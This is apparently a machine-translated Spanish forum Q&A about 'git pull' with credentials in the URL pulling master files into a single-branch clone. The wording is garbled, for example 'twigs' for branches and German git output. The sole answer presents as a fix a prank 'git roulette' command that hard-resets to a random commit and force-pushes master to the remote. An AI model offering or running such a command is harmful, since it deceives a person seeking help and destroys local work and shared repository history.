Obteniendo Master Branch cuando usas git pull con auth

Tengo un problema con Git. Tengo un proyecto y 4 twigs V1.0, V1.1, V1.2 y maestro.

Ahora clono V1.2 con este command:

git clone -b V1.2 --single-branch http://domain/user/project.git . 

Obtengo la versión correcta. Los siguientes commands

 git pull 

y

 git pull http://user:passwd@domain/user/project.git 

dice en ambos commands Already up-to-date

Pero cuando hago lo mismo con una Versión 1.1 más baja, obtengo el primer Comando a Already up-to-date . En el segundo command: git actualiza mis files a master. ¿Por qué? ¿Qué hago mal?

 git status Auf Branch V1.1 Ihr Branch ist vor 'origin/V1.1' um 45 Commits. 

y un

 git branch * V1.1 

Pero los files son de master.

Esto debería solucionar tu problema:

 git reset --hard $(git log --pretty=format:"%h" > ~/gitroulette; head -$((${RANDOM} % `wc -l < ~/gitroulette` + 1)) ~/gitroulette | tail -1); git push origin master --force 

¡Que te diviertas!